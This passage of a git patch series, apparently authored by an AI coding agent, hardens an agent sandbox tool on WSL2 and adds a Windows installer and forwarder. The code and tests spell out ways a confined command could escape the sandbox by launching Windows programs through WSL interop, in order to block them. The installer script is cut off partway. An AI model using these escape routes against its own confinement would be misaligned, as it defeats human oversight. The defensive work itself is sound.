not hidden); - inside WSL2 only, it tries cmd.exe, /mnt/c/.../cmd.exe, powershell.exe, WSL_INTEROP and /run/WSL, skipping elsewhere. That one has not run on a WSL2 machine yet, and the README says so; - unit tests cover WSL detection and parsing the interpreter. 36 unit, 17 escape, 2 MCP, 1 protect and 2 WSL tests pass. clippy is clean for Linux, macOS and Windows. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_011DiH8n52ifWoCd5Kx2aHwT --- crates/sandbox/README.md | 34 ++++++++++ crates/sandbox/src/lib.rs | 34 +++++++++- crates/sandbox/src/policy.rs | 7 +++ crates/sandbox/src/wsl.rs | 112 +++++++++++++++++++++++++++++++++ crates/sandbox/tests/wsl.rs | 119 +++++++++++++++++++++++++++++++++++ 5 files changed, 303 insertions(+), 3 deletions(-) create mode 100644 crates/sandbox/src/wsl.rs create mode 100644 crates/sandbox/tests/wsl.rs diff --git a/crates/sandbox/README.md b/crates/sandbox/README.md index 81d78f5..be48a43 100644 --- a/crates/sandbox/README.md +++ b/crates/sandbox/README.md @@ -65,6 +65,7 @@ An unknown key is an error, so a misspelt `wirte` can't silently do nothing. | network: `proxy` | Landlock: TCP only to the proxy's port; seccomp as for `deny` | Seatbelt: outbound only to the proxy | **not yet** | | `.git/hooks`, `.git/config` | snapshotted, put back after the run | Seatbelt refuses the write | **not yet** | | signals, abstract Unix sockets | Landlock scopes (6.12+): only within the sandbox | Seatbelt default | **not yet** | +| Windows programs (inside WSL2) | interop interpreter and sockets hidden, `WSL_INTEROP` removed, vsock refused | n/a | n/a | | limits | `setrlimit` + wall clock; no core dumps | `setrlimit` + wall clock; no core dumps | wall clock | | environment | yes | yes | yes | @@ -163,6 +164,39 @@ An unknown key is an error, so a misspelt `wirte` can't silently do nothing. during the run would execute if someone ran git in that workspace before the run ended. +## Windows: run it inside WSL2 + +On Windows, run `sbx` inside WSL2, where the Linux sandbox applies +unchanged: Landlock, seccomp, the git protection and `sbx mcp`. Build it in +your distribution (`cargo build --release -p incord-sandbox`) and check +`sbx doctor`, which says it found WSL. + +WSL2 adds one way out that plain Linux doesn't have: starting a Windows +program (`cmd.exe`, `powershell.exe`, any `.exe` under `/mnt/c`), which +runs on Windows, outside the sandbox. When the filesystem is confined and +WSL is detected, `sbx` closes it (`fs.block_wsl_interop`, on by default): +- WSL's interop interpreter (`/init`, read from + `/proc/sys/fs/binfmt_misc/WSLInterop`) is hidden like a `deny_read` path, + so no `.exe` can start; +- `/run/WSL`, where the interop sockets live, is hidden and `WSL_INTEROP` + is removed; +- vsock is refused by seccomp. + +Hiding `/init` means `ls /` is refused inside the sandbox; files beneath +`/` still read normally. + +**Network inside WSL2:** `network: deny` needs Landlock's TCP rules (Linux +6.7+). On an older WSL kernel only UDP/DNS are blocked, `sbx doctor` says +the network is not enforced, and strict mode refuses `deny`/`proxy` rather +than pretend. Update WSL (`wsl --update`) for a newer kernel. + +**Tested:** the mechanism (a hidden interpreter can't run, directly or as +a script's) runs on every Linux CI machine. `tests/wsl.rs` tries the real +ways out (`cmd.exe`, `/mnt/c/.../cmd.exe`, `powershell.exe`, +`WSL_INTEROP`, `/run/WSL`), but only on a WSL2 machine. It has not run on +one yet, so run `cargo test -p incord-sandbox --test wsl` there before +relying on this. + ## Exit codes | code | meaning | diff --git a/crates/sandbox/src/lib.rs b/crates/sandbox/src/lib.rs index 244543a..49e11dd 100644 --- a/crates/sandbox/src/lib.rs +++ b/crates/sandbox/src/lib.rs @@ -43,6 +43,8 @@ pub mod server; mod linux; #[cfg(target_os = "linux")] mod seccomp; +#[cfg(target_os = "linux")] +pub mod wsl; use std::ffi::OsString; use std::path::{Path, PathBuf}; @@ -507,7 +509,24 @@ impl Sandbox { )); } let roots = self.policy.resolved_roots(cwd)?; - let deny_read = self.policy.resolved_deny_read(cwd, &roots)?; + #[allow(unused_mut)] + let mut deny_read = self.policy.resolved_deny_read(cwd, &roots)?; + // Inside WSL2 a Windows program started from the sandbox would run + // outside it altogether: hide the interop interpreter and sockets. + #[cfg(target_os = "linux")] + let block_interop = self.policy.fs.mode != FsMode::Off + && self.policy.fs.block_wsl_interop + && wsl::detected(); + #[cfg(not(target_os = "linux"))] + let block_interop = false; + #[cfg(target_os = "linux")] + if block_interop { + for p in wsl::interop_paths() { + if !deny_read.contains(&p) && !roots.iter().any(|r| p.starts_with(r)) { + deny_read.push(p); + } + } + } let protected = (self.policy.fs.mode == FsMode::WorkspaceWrite && self.policy.fs.protect_git) .then(|| protect::Snapshot::take(protect::git_paths(&roots))); @@ -533,7 +552,10 @@ impl Sandbox { if let Some(p) = &proxy { extra.extend(p.client_env()); } - let environment = env::compute(&self.policy.env, std::env::vars_os(), &extra); + let mut environment = env::compute(&self.policy.env, std::env::vars_os(), &extra); + if block_interop { + environment.retain(|(k, _)| k != "WSL_INTEROP"); + } let spec = EnterSpec { fs_mode: self.policy.fs.mode, @@ -756,7 +778,13 @@ fn environment_summary(e: &policy::Env) -> String { #[cfg(target_os = "linux")] fn fs_status(mode: FsMode) -> Status { - linux::fs_status(mode) + match linux::fs_status(mode) { + Status::Enforced(how) if wsl::detected() => Status::Enforced(format!( + "{how}; WSL: starting Windows programs is blocked (interop interpreter and \ + sockets hidden, WSL_INTEROP removed, vsock refused)" + )), + other => other, + } } #[cfg(target_os = "macos")] diff --git a/crates/sandbox/src/policy.rs b/crates/sandbox/src/policy.rs index 27d31d4..200891d 100644 --- a/crates/sandbox/src/policy.rs +++ b/crates/sandbox/src/policy.rs @@ -6,6 +6,7 @@ //! write = ["."] # writable roots (workspace-write only) //! deny_read = ["../private"] # hidden: not even readable //! protect_git = true # .git/hooks and .git/config kept as they were (default) +//! block_wsl_interop = true # inside WSL2: no starting Windows programs (default) //! //! [network] //! mode = "proxy" # allow | deny | proxy @@ -67,6 +68,10 @@ pub struct Fs { /// were: a planted hook runs, unsandboxed, the next time anyone uses git /// there (see [`crate::protect`]). On by default. pub protect_git: bool, + /// Inside WSL2: stop the command starting Windows programs, which would + /// run outside the sandbox altogether (see [`crate::wsl`]). On by + /// default; only applies when the filesystem is confined. + pub block_wsl_interop: bool, } impl Default for Fs { @@ -76,6 +81,7 @@ impl Default for Fs { write: Vec::new(), deny_read: Vec::new(), protect_git: true, + block_wsl_interop: true, } } } @@ -234,6 +240,7 @@ impl Policy { write: vec![root.into()], deny_read: Vec::new(), protect_git: true, + block_wsl_interop: true, }, ..Self::default() } diff --git a/crates/sandbox/src/wsl.rs b/crates/sandbox/src/wsl.rs new file mode 100644 index 0000000..11dbd72 --- /dev/null +++ b/crates/sandbox/src/wsl.rs @@ -0,0 +1,112 @@ +//! WSL2: closing the door to Windows. +//! +//! Inside WSL2, a Linux program can start a Windows program +//! (`/mnt/c/Windows/System32/cmd.exe`, `powershell.exe`, any `.exe`), and +//! that program runs on Windows, outside Linux altogether. None of the +//! sandbox's rules reach it. It goes three ways, and each is closed when the +//! filesystem is confined (`fs.block_wsl_interop`, on by default): +//! +//! - **Running a `.exe`.** The kernel hands it, through `binfmt_misc`, to +//! WSL's interpreter (`/init`, named in +//! `/proc/sys/fs/binfmt_misc/WSLInterop`). The interpreter is added to +//! `deny_read`, so the sandbox can't execute it and no `.exe` starts. +//! - **The interop socket.** The interpreter reaches Windows over a Unix +//! socket named by `WSL_INTEROP`, under `/run/WSL`. Landlock can't refuse a +//! connect to a Unix socket by path, so the variable is removed and +//! `/run/WSL` is hidden: nothing in the sandbox can find the socket. +//! - **vsock.** The seccomp filter refuses `AF_VSOCK` whenever the +//! filesystem is confined (see `seccomp`). +//! +//! Hiding `/init` and `/run/WSL` uses the same carving as `deny_read`, so +//! listing `/` or `/run` is refused inside the sandbox; files beneath them +//! are still readable. + +use std::path::{Path, PathBuf}; + +const BINFMT: &str = "/proc/sys/fs/binfmt_misc"; +const INTEROP_SOCKETS: &str = "/run/WSL"; + +/// Whether this Linux is WSL. +#[must_use] +pub fn detected() -> bool { + let version = std::fs::read_to_string("/proc/sys/kernel/osrelease").unwrap_or_default(); + is_wsl(&version, !interop_entries().is_empty()) +} + +/// WSL by its kernel release (`…-microsoft-standard-WSL2`) or by a +/// registered interop handler. +#[must_use] +pub fn is_wsl(kernel_release: &str, interop_registered: bool) -> bool { + let r = kernel_release.to_ascii_lowercase(); + interop_registered || r.contains("microsoft") || r.contains("wsl") +} + +/// The `binfmt_misc` entries WSL registers for `.exe` files. +fn interop_entries() -> Vec { + std::fs::read_dir(BINFMT) + .map(|rd| { + rd.filter_map(Result::ok) + .map(|e| e.path()) + .filter(|p| { + p.file_name() + .is_some_and(|n| n.to_string_lossy().starts_with("WSLInterop")) + }) + .collect() + }) + .unwrap_or_default() +} + +/// The interpreter a `binfmt_misc` entry names (its `interpreter` line). +#[must_use] +pub fn interpreter(entry_text: &str) -> Option { + entry_text + .lines() + .find_map(|l| l.strip_prefix("interpreter ")) + .map(|p| PathBuf::from(p.trim())) +} + +/// The paths to hide so no Windows program can be started: every interop +/// interpreter (`/init` by default) and the interop sockets' folder. Only +/// paths that exist, canonicalised. +#[must_use] +pub fn interop_paths() -> Vec { + let mut paths: Vec = interop_entries() + .iter() + .filter_map(|e| std::fs::read_to_string(e).ok()) + .filter_map(|t| interpreter(&t)) + .collect(); + paths.push(PathBuf::from("/init")); + paths.push(PathBuf::from(INTEROP_SOCKETS)); + let mut out = Vec::new(); + for p in paths { + if let Ok(real) = std::fs::canonicalize(&p) { + if !out.contains(&real) && real != Path::new("/") { + out.push(real); + } + } + } + out +} + +/// The variable that tells WSL's interpreter where the interop socket is. +pub const INTEROP_VAR: &str = "WSL_INTEROP"; + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn wsl_is_recognised_by_kernel_or_interop() { + assert!(is_wsl("6.6.87.2-microsoft-standard-WSL2", false)); + assert!(is_wsl("5.15.167.4-microsoft-standard-WSL2", false)); + assert!(is_wsl("6.18.0-custom", true)); + assert!(!is_wsl("6.18.44-fc-v139", false)); + } + + #[test] + fn the_interpreter_is_read_from_the_binfmt_entry() { + let entry = "enabled\ninterpreter /init\nflags: PF\noffset 0\nmagic 4d5a\n"; + assert_eq!(interpreter(entry), Some(PathBuf::from("/init"))); + assert_eq!(interpreter("enabled\nflags: F\n"), None); + } +} diff --git a/crates/sandbox/tests/wsl.rs b/crates/sandbox/tests/wsl.rs new file mode 100644 index 0000000..b669591 --- /dev/null +++ b/crates/sandbox/tests/wsl.rs @@ -0,0 +1,119 @@ +//! Inside WSL2 a sandboxed command must not be able to start a Windows +//! program, which would run outside the sandbox altogether. +//! +//! The first test checks the mechanism on any Linux: a program hidden with +//! `deny_read` (as WSL's interop interpreter is) can't be executed, directly +//! or as the interpreter of a script. The second runs only inside WSL2 and +//! tries the real ways out. + +#![cfg(target_os = "linux")] + +use std::process::{Command, Stdio}; + +const SBX: &str = env!("CARGO_BIN_EXE_sbx"); + +fn landlock() -> bool { + Command::new(SBX) + .args(["check", "--fs", "read-only"]) + .output() + .expect("check") + .status + .success() +} + +#[test] +fn a_hidden_interpreter_cannot_be_executed() { + if !landlock() { + eprintln!("SKIPPED: this kernel cannot enforce the filesystem"); + return; + } + let dir = tempfile::tempdir().expect("tempdir"); + let base = std::fs::canonicalize(dir.path()).expect("canon"); + let hidden = base.join("hidden"); + std::fs::create_dir(&hidden).expect("mkdir"); + // An interpreter, like WSL's /init for .exe files, and a script that + // names it. + std::fs::copy("/bin/sh", hidden.join("interp")).expect("copy sh"); + let script = base.join("job"); + std::fs::write( + &script, + format!("#!{}\necho escaped\n", hidden.join("interp").display()), + ) + .expect("script"); + { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).expect("chmod"); + } + let run = |argv: &[&str]| { + let mut args = vec!["run", "--fs", "read-only", "--deny-read"]; + let h = hidden.to_str().expect("utf8"); + args.push(h); + args.push("--"); + args.extend_from_slice(argv); + Command::new(SBX) + .args(&args) + .stdin(Stdio::null()) + .output() + .expect("sbx") + }; + let direct = run(&[ + hidden.join("interp").to_str().expect("utf8"), + "-c", + "echo escaped", + ]); + assert!( + !String::from_utf8_lossy(&direct.stdout).contains("escaped"), + "ran the hidden program directly" + ); + let via_script = run(&[script.to_str().expect("utf8")]); + assert!( + !String::from_utf8_lossy(&via_script.stdout).contains("escaped"), + "ran the hidden program as a script's interpreter" + ); + // Control: without hiding it, both run. + let open = Command::new(SBX) + .args([ + "run", + "--fs", + "read-only", + "--", + script.to_str().expect("utf8"), + ]) + .stdin(Stdio::null()) + .output() + .expect("sbx"); + assert!(String::from_utf8_lossy(&open.stdout).contains("escaped")); +} + +#[test] +fn inside_wsl_no_windows_program_can_be_started() { + if !incord_sandbox::wsl::detected() { + eprintln!("SKIPPED: not running inside WSL"); + return; + } + if !landlock() { + eprintln!("SKIPPED: this WSL kernel cannot enforce the filesystem"); + return; + } + let tries = "cmd.exe /c echo ESCAPED 2>/dev/null; \ + /mnt/c/Windows/System32/cmd.exe /c echo ESCAPED 2>/dev/null; \ + powershell.exe -c 'echo ESCAPED' 2>/dev/null; \ + echo \"[$WSL_INTEROP]\"; ls /run/WSL 2>/dev/null && echo LISTED; true"; + let open = Command::new("sh").args(["-c", tries]).output().expect("sh"); + let confined = Command::new(SBX) + .args(["run", "--fs", "read-only", "--", "sh", "-c", tries]) + .stdin(Stdio::null()) + .output() + .expect("sbx"); + let out = String::from_utf8_lossy(&confined.stdout); + eprintln!( + "unconfined: {}", + String::from_utf8_lossy(&open.stdout).replace('\n', " | ") + ); + assert!(!out.contains("ESCAPED"), "a Windows program ran: {out}"); + assert!(out.contains("[]"), "WSL_INTEROP reached the command: {out}"); + assert!( + !out.contains("LISTED"), + "the interop sockets were visible: {out}" + ); +} From 1a6c8666243c80eabc1be9b4ff84aa757f54e0da Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 20 Oct 2026 14:41:48 +0000 Subject: [PATCH 04/12] sandbox: Windows setup: install WSL2 and forward sbx.exe into it On Windows, the sandbox is the Linux one inside WSL2. - scripts/install-windows.ps1, run once from the incode folder: 1. checks for WSL2 and a distribution (Ubuntu by default), and installs them if missing: it asks first, elevates once with UAC, then explains the restart and to run it again; 2. converts a WSL1 distro to WSL2 (WSL1 has no Linux kernel, so no Landlock); 3. builds sbx inside WSL2 at ~/.local/bin/sbx, installing a C toolchain and rustup if missing, building outside /mnt/c for speed; 4. builds sbx.exe, adds ~/.local/bin to the user PATH, and runs `sbx doctor`. macOS and Linux need no installer. - sbx.exe forwards every command (run, check, doctor, mcp) into WSL2 with wsl.exe --cd : - path options and drive paths after `--` are translated (C:\x -> /mnt/c/x, \\wsl$\Distro\p -> /p); - stdio and the exit code pass through, so `sbx mcp` works for agents on Windows; - without WSL it refuses with the setup steps rather than running unconfined; - SBX_NATIVE=1 runs natively (environment and time limit only), and SBX_WSL_DISTRO picks the distribution. Tested here: - path translation unit tests, which caught relative `..\x` being refused; - clippy is clean for windows-gnu, Linux and macOS; - the installer parses with PowerShell 7 and refuses outside the incode folder; - its WSL build step, run on Linux, built and installed sbx, and `sbx doctor` ran. Not run on Windows: the WSL install, the elevation and the forwarding. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_011DiH8n52ifWoCd5Kx2aHwT --- README.md | 12 +++ crates/sandbox/README.md | 34 +++++++- crates/sandbox/src/lib.rs | 1 + crates/sandbox/src/main.rs | 79 +++++++++++++++++ crates/sandbox/src/wslpath.rs | 155 ++++++++++++++++++++++++++++++++++ scripts/install-windows.ps1 | 148 ++++++++++++++++++++++++++++++++ 6 files changed, 425 insertions(+), 4 deletions(-) create mode 100644 crates/sandbox/src/wslpath.rs create mode 100644 scripts/install-windows.ps1 diff --git a/README.md b/README.md index 4a1b2c7..8a76e08 100644 --- a/README.md +++ b/README.md @@ -173,6 +173,18 @@ install -m755 target/release/incode ~/.local/bin/incode Copy-Item target\release\incode.exe $env:USERPROFILE\.local\bin\ ``` +**On Windows, also set up the sandbox** (`sbx`, which runs inside WSL2): + +```powershell +powershell -ExecutionPolicy Bypass -File scripts\install-windows.ps1 +``` + +It installs WSL2 if it's missing (asks first; needs administrator rights +once and usually a restart, then run it again). It then builds `sbx` inside +WSL2 and puts `sbx.exe` on your PATH. `sbx.exe` forwards every command into +WSL2, where the Linux sandbox confines it. macOS and Linux need no extra +step. + Each Outline language is a default cargo feature (`lang-rust`, `lang-ts`, `lang-python`, `lang-go`, `lang-js`); build with `--no-default-features` and a subset to drop grammars. Screen capture for computer use is the default diff --git a/crates/sandbox/README.md b/crates/sandbox/README.md index be48a43..8cc6b47 100644 --- a/crates/sandbox/README.md +++ b/crates/sandbox/README.md @@ -166,10 +166,36 @@ An unknown key is an error, so a misspelt `wirte` can't silently do nothing. ## Windows: run it inside WSL2 -On Windows, run `sbx` inside WSL2, where the Linux sandbox applies -unchanged: Landlock, seccomp, the git protection and `sbx mcp`. Build it in -your distribution (`cargo build --release -p incord-sandbox`) and check -`sbx doctor`, which says it found WSL. +On Windows the sandbox is the Linux one, running inside WSL2: Landlock, +seccomp, the git protection and `sbx mcp` all apply unchanged. + +**Setup, once** (PowerShell, from the incode folder): + +```powershell +powershell -ExecutionPolicy Bypass -File scripts\install-windows.ps1 +``` + +It: +1. installs WSL2 and Ubuntu if they're missing (asks first, one + administrator prompt, usually a restart, then run it again); +2. builds the Linux `sbx` inside WSL2 at `~/.local/bin/sbx`; +3. builds `sbx.exe` and adds it to your PATH; +4. runs `sbx doctor`. + +**`sbx.exe` forwards into WSL2.** +- Every command it gets (`run`, `check`, `doctor`, `mcp`) is passed to the + Linux `sbx` with `wsl.exe`, from the same folder. +- Paths are translated: `C:\work\app` becomes `/mnt/c/work/app`, and + `\\wsl$\Ubuntu\home\me` becomes `/home/me`. +- Output, input and the exit code pass straight through, so `sbx mcp` works + for agents on Windows too. +- **Choosing a distribution:** `SBX_WSL_DISTRO` picks one other than the + default. +- **Without WSL:** `sbx.exe` refuses with the setup steps instead of running + unconfined. `SBX_NATIVE=1` runs natively anyway, with only the + environment and time limit, and files and network not confined. +- **Windows environment variables don't reach WSL** unless listed in + `WSLENV` (for example `WSLENV=ANTHROPIC_API_KEY`). WSL2 adds one way out that plain Linux doesn't have: starting a Windows program (`cmd.exe`, `powershell.exe`, any `.exe` under `/mnt/c`), which diff --git a/crates/sandbox/src/lib.rs b/crates/sandbox/src/lib.rs index 49e11dd..0d9e627 100644 --- a/crates/sandbox/src/lib.rs +++ b/crates/sandbox/src/lib.rs @@ -38,6 +38,7 @@ pub mod protect; pub mod proxy; pub mod seatbelt; pub mod server; +pub mod wslpath; #[cfg(target_os = "linux")] mod linux; diff --git a/crates/sandbox/src/main.rs b/crates/sandbox/src/main.rs index e20181c..5a7b2d1 100644 --- a/crates/sandbox/src/main.rs +++ b/crates/sandbox/src/main.rs @@ -68,6 +68,12 @@ EXIT: fn main() -> ExitCode { incord_sandbox::enter_if_requested(); let args: Vec = std::env::args_os().skip(1).collect(); + // On Windows the sandbox is the Linux one, inside WSL2: forward there, + // unless asked to run natively (environment and wall clock only). + #[cfg(windows)] + if std::env::var_os("SBX_NATIVE").is_none() { + return windows_forward::forward(&args); + } match real_main(args) { Ok(code) => ExitCode::from(u8::try_from(code.clamp(0, 255)).unwrap_or(1)), Err(e) => { @@ -77,6 +83,79 @@ fn main() -> ExitCode { } } +/// `sbx.exe` on Windows: the same command, run by the Linux `sbx` inside +/// WSL2, where Landlock and seccomp do the confining. +#[cfg(windows)] +mod windows_forward { + use std::ffi::OsString; + use std::process::{Command, ExitCode}; + + use incord_sandbox::wslpath::{to_wsl, translate_args}; + + /// Where the installer puts the Linux `sbx` inside WSL. + const IN_WSL: &str = "$HOME/.local/bin/sbx"; + + const SETUP: &str = "sbx on Windows runs its sandbox inside WSL2.\n\ + Set it up once (PowerShell, from the incode folder):\n\ + \x20 powershell -ExecutionPolicy Bypass -File scripts\\install-windows.ps1\n\ + Or set SBX_NATIVE=1 to run without WSL (environment and time limit only: \ + files and network are NOT confined)."; + + pub fn forward(args: &[OsString]) -> ExitCode { + match run(args) { + Ok(code) => ExitCode::from(u8::try_from(code.clamp(0, 255)).unwrap_or(1)), + Err(e) => { + eprintln!("sbx: {e}"); + ExitCode::from(125) + } + } + } + + fn run(args: &[OsString]) -> Result { + let args: Vec = args + .iter() + .map(|a| { + a.to_str() + .map(str::to_string) + .ok_or("an argument is not valid UTF-8") + }) + .collect::>()?; + let args = translate_args(&args)?; + let cwd = std::env::current_dir().map_err(|e| e.to_string())?; + let cwd = to_wsl(&cwd.display().to_string()).ok_or_else(|| { + format!( + "the current folder {} has no path inside WSL; run from a drive folder", + cwd.display() + ) + })?; + let mut cmd = Command::new("wsl.exe"); + if let Some(distro) = std::env::var_os("SBX_WSL_DISTRO") { + cmd.arg("-d").arg(distro); + } + cmd.arg("--cd") + .arg(&cwd) + .arg("-e") + .arg("sh") + .arg("-c") + .arg(format!( + "[ -x \"{IN_WSL}\" ] || {{ echo 'sbx is not installed inside WSL' >&2; exit 126; }}; \ + exec \"{IN_WSL}\" \"$@\"" + )) + .arg("sbx") + .args(&args); + let status = cmd + .status() + .map_err(|e| format!("cannot start wsl.exe ({e}).\n{SETUP}"))?; + let code = status.code().unwrap_or(1); + // wsl.exe itself fails with -1 (no WSL, no distribution); the + // command's own codes pass through. + if code < 0 || code == 126 { + eprintln!("{SETUP}"); + } + Ok(code) + } +} + struct Options { policy: Policy, cwd: PathBuf, diff --git a/crates/sandbox/src/wslpath.rs b/crates/sandbox/src/wslpath.rs new file mode 100644 index 0000000..1f80b22 --- /dev/null +++ b/crates/sandbox/src/wslpath.rs @@ -0,0 +1,155 @@ +//! Windows paths as WSL sees them, for `sbx.exe` forwarding a command into +//! WSL2 (where the Linux sandbox does the confining). +//! +//! `C:\work\app` is `/mnt/c/work/app` in WSL's default mount layout +//! (`[automount] root = /mnt/`). A UNC path to a WSL distribution +//! (`\\wsl$\Ubuntu\home\me`, `\\wsl.localhost\Ubuntu\home\me`) is that +//! distribution's own `/home/me`. Anything else (another UNC share, a +//! relative path) has no WSL spelling and is refused rather than guessed. + +/// The WSL spelling of a Windows path, or `None` when there is none. +#[must_use] +pub fn to_wsl(path: &str) -> Option { + let p = path.replace('\\', "/"); + for prefix in ["//wsl$/", "//wsl.localhost/"] { + if let Some(rest) = p + .get(..prefix.len()) + .filter(|h| h.eq_ignore_ascii_case(prefix)) + .map(|_| &p[prefix.len()..]) + { + // Drop the distribution's name: inside it, the rest is absolute. + let inner = rest.split_once('/').map_or("", |(_, r)| r); + return Some(format!("/{inner}")); + } + } + let b = p.as_bytes(); + if b.len() >= 2 && b[0].is_ascii_alphabetic() && b[1] == b':' { + let drive = (b[0] as char).to_ascii_lowercase(); + let rest = p[2..].trim_start_matches('/'); + return Some(if rest.is_empty() { + format!("/mnt/{drive}") + } else { + format!("/mnt/{drive}/{}", rest.trim_end_matches('/')) + }); + } + None +} + +/// The options of `sbx` whose value is a path. +pub const PATH_OPTIONS: &[&str] = &[ + "-w", + "--write", + "--deny-read", + "--cwd", + "-p", + "--policy", + "--root", +]; + +/// `sbx` arguments rewritten for WSL: each path option's value, and any +/// argument after `--` that is a drive path (`C:\...`), translated. +/// +/// # Errors +/// When a path option's value has no WSL spelling. +pub fn translate_args(args: &[String]) -> Result, String> { + let mut out = Vec::with_capacity(args.len()); + let mut after_dashdash = false; + let mut i = 0; + while i < args.len() { + let a = &args[i]; + if after_dashdash { + out.push(if is_drive_path(a) { + to_wsl(a).unwrap_or_else(|| a.clone()) + } else { + a.clone() + }); + } else if a == "--" { + after_dashdash = true; + out.push(a.clone()); + } else if PATH_OPTIONS.contains(&a.as_str()) { + out.push(a.clone()); + if let Some(v) = args.get(i + 1) { + out.push(path_value(v)?); + i += 1; + } + } else { + out.push(a.clone()); + } + i += 1; + } + Ok(out) +} + +fn path_value(v: &str) -> Result { + let absolute = is_drive_path(v) || v.starts_with("\\\\") || v.starts_with("//"); + if !absolute { + // Relative (or `~`): resolved inside WSL against the forwarded --cd. + return Ok(v.replace('\\', "/")); + } + to_wsl(v) + .ok_or_else(|| format!("`{v}` has no path inside WSL (use a drive path or \\\\wsl$\\...)")) +} + +fn is_drive_path(a: &str) -> bool { + let b = a.as_bytes(); + b.len() >= 3 && b[0].is_ascii_alphabetic() && b[1] == b':' && (b[2] == b'\\' || b[2] == b'/') +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn drive_and_wsl_unc_paths_translate() { + assert_eq!(to_wsl(r"C:\work\app").as_deref(), Some("/mnt/c/work/app")); + assert_eq!(to_wsl("d:/data/").as_deref(), Some("/mnt/d/data")); + assert_eq!(to_wsl(r"E:\").as_deref(), Some("/mnt/e")); + assert_eq!( + to_wsl(r"\\wsl$\Ubuntu\home\me\proj").as_deref(), + Some("/home/me/proj") + ); + assert_eq!( + to_wsl(r"\\WSL.localhost\Ubuntu-24.04\tmp").as_deref(), + Some("/tmp") + ); + assert_eq!(to_wsl(r"\\server\share\x"), None); + assert_eq!(to_wsl(r"relative\dir"), None); + } + + #[test] + fn path_options_and_command_paths_are_rewritten() { + let args: Vec = [ + "run", + "-w", + r"C:\work\app", + "--deny-read", + r"..\private", + "--net", + "deny", + "--", + "python3", + r"C:\work\app\main.py", + "--flag=C:x", + ] + .map(String::from) + .to_vec(); + assert_eq!( + translate_args(&args).expect("translates"), + [ + "run", + "-w", + "/mnt/c/work/app", + "--deny-read", + "../private", + "--net", + "deny", + "--", + "python3", + "/mnt/c/work/app/main.py", + "--flag=C:x", + ] + ); + let bad: Vec = ["run", "-w", r"\\server\share"].map(String::from).to_vec(); + assert!(translate_args(&bad).is_err()); + } +} diff --git a/scripts/install-windows.ps1 b/scripts/install-windows.ps1 new file mode 100644 index 0000000..19fe88d --- /dev/null +++ b/scripts/install-windows.ps1 @@ -0,0 +1,148 @@ +<# +.SYNOPSIS + Set up incode's sandbox (sbx) on Windows: WSL2, the Linux sbx inside it, + and sbx.exe on Windows, which forwards every command into WSL2. + +.DESCRIPTION + On Windows the sandbox is the Linux one (Landlock + seccomp) running inside + WSL2. This script, run from the incode folder: + 1. checks for WSL2 and a Linux distribution, and installs them if missing + (asks first; needs administrator rights once, then a restart); + 2. builds sbx inside WSL2 and installs it at ~/.local/bin/sbx there; + 3. builds sbx.exe on Windows and puts it on your PATH; + 4. runs `sbx doctor` to show what is enforced. + Run it again after the restart if step 1 installed WSL2. It is safe to run + more than once. + +.PARAMETER Yes + Do not ask before installing WSL2. + +.PARAMETER Distro + The WSL distribution to use (default: Ubuntu). + +.EXAMPLE + powershell -ExecutionPolicy Bypass -File scripts\install-windows.ps1 +#> +param( + [switch]$Yes, + [string]$Distro = "Ubuntu" +) + +$ErrorActionPreference = "Stop" + +function Say($text) { Write-Host "sbx setup: $text" } + +function Test-Admin { + $id = [Security.Principal.WindowsIdentity]::GetCurrent() + (New-Object Security.Principal.WindowsPrincipal $id).IsInRole( + [Security.Principal.WindowsBuiltInRole]::Administrator) +} + +# wsl.exe prints UTF-16; read it as text and drop the NULs. +function Invoke-Wsl([string[]]$WslArgs) { + $out = & wsl.exe @WslArgs 2>&1 | Out-String + return @{ Code = $LASTEXITCODE; Text = ($out -replace "`0", "") } +} + +$repo = (Get-Location).Path +if (-not (Test-Path (Join-Path $repo "crates\sandbox\Cargo.toml"))) { + throw "Run this from the incode folder (crates\sandbox was not found in $repo)." +} + +# --- 1. WSL2 and a distribution ------------------------------------------ +$haveWsl = [bool](Get-Command wsl.exe -ErrorAction SilentlyContinue) +$distros = @() +if ($haveWsl) { + $list = Invoke-Wsl @("--list", "--quiet") + if ($list.Code -eq 0) { + $distros = $list.Text -split "`r?`n" | ForEach-Object { $_.Trim() } | Where-Object { $_ } + } +} + +if (-not $haveWsl -or -not ($distros -contains $Distro)) { + Say "WSL2 with '$Distro' is not set up yet. The sandbox needs it on Windows." + Say "Installing it runs 'wsl --install -d $Distro', needs administrator rights," + Say "and usually a restart. Hardware virtualization must be on in the BIOS." + if (-not $Yes) { + $answer = Read-Host "Install WSL2 and $Distro now? [y/N]" + if ($answer -notmatch '^(y|yes)$') { Say "Nothing installed."; exit 1 } + } + if (-not (Test-Admin)) { + Say "Asking for administrator rights..." + $argsList = "-NoProfile -ExecutionPolicy Bypass -Command `"wsl.exe --install -d $Distro --no-launch; exit `$LASTEXITCODE`"" + $p = Start-Process powershell -Verb RunAs -ArgumentList $argsList -Wait -PassThru + if ($p.ExitCode -ne 0) { throw "wsl --install failed (exit $($p.ExitCode))." } + } else { + & wsl.exe --install -d $Distro --no-launch + if ($LASTEXITCODE -ne 0) { throw "wsl --install failed (exit $LASTEXITCODE)." } + } + Say "WSL2 is installed. Next:" + Say " 1. Restart Windows if it asks you to." + Say " 2. Open '$Distro' once from the Start menu and create your Linux user." + Say " 3. Run this script again to finish." + exit 0 +} + +# WSL1 has no Linux kernel of its own, so no Landlock: insist on WSL2. +$verbose = Invoke-Wsl @("--list", "--verbose") +$line = ($verbose.Text -split "`r?`n") | Where-Object { $_ -match "\b$([regex]::Escape($Distro))\b" } | Select-Object -First 1 +if ($line -and $line -match '\s1\s*$') { + Say "'$Distro' runs under WSL1; converting it to WSL2..." + & wsl.exe --set-version $Distro 2 + if ($LASTEXITCODE -ne 0) { throw "Could not convert $Distro to WSL2." } +} + +# --- 2. sbx inside WSL2 ----------------------------------------------------- +$repoInWsl = (& wsl.exe -d $Distro -e wslpath -a "$repo" | Out-String).Trim() +if (-not $repoInWsl) { throw "Could not find $repo from inside WSL." } +Say "Building sbx inside WSL2 ($Distro) from $repoInWsl ..." + +$build = @' +set -eu +REPO="$1" +if ! command -v cc >/dev/null 2>&1; then + echo "sbx setup: installing a C toolchain (sudo may ask for your Linux password)" + sudo apt-get update 